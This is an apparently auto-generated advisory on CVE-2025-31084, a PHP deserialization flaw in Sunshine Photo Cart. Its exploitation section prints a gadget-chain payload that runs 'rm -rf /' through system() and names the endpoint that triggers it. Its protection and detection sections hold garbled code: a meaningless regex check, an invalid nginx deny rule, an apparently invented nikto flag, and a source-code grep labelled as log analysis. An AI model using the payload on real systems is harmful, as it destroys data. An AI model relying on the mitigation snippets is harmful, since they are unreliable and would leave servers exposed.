Sunshine Photo Cart, Deserialization of Untrusted Data, CVE-2025-31084 (Critical)

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How the CVE Works

CVE-2025-31084 is a critical deserialization vulnerability in Sunshine Photo Cart (versions ≤ 3.4.10). Attackers exploit insecure object deserialization by injecting malicious payloads into serialized data. When processed, this triggers arbitrary code execution under the web server’s context. The flaw stems from improper validation of user-supplied input during deserialization, enabling remote attackers to compromise the system.

DailyCVE Form

Platform: Sunshine Photo Cart
Version: ≤ 3.4.10
Vulnerability: Object Injection
Severity: Critical
Date: 04/03/2025

What Undercode Say:

Exploitation:

1. Payload Crafting: Serialize a malicious object (e.g., PHP gadget chain) to embed in requests.

   <?php
   class Exploit {
   public $cmd = "rm -rf /";
   public function __destruct() { system($this->cmd); }
   }
   echo base64_encode(serialize(new Exploit));
   ?>
   

2. Triggering: Submit payload via vulnerable endpoints (e.g., cart.php?data=<malicious_serialized>).

Protection:

1. Patch: Upgrade to Sunshine Photo Cart > 3.4.10.
2. Input Validation: Reject serialized data from untrusted sources.

   if (preg_match('/^[bash]+$/', $_GET[bash])) { / safe / }
   

3. Disable Dangerous Functions:

disable_functions = system, exec, shell_exec

4. WAF Rules: Block base64-encoded serialized objects.

location ~ .php$ {
deny /cart.php?data=O:8;
}

Detection:

• Log Analysis:

  grep -r "unserialize(" /var/www/html/
  

• Scanner Command:

  nikto -h example.com -id 31084
  

Mitigation:

• Use JSON instead of PHP serialization.
• Implement HMAC for data integrity checks.

  hash_hmac('sha256', $data, $secret_key);
  

References:

Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-31084
Extra Source Hub:
Undercode

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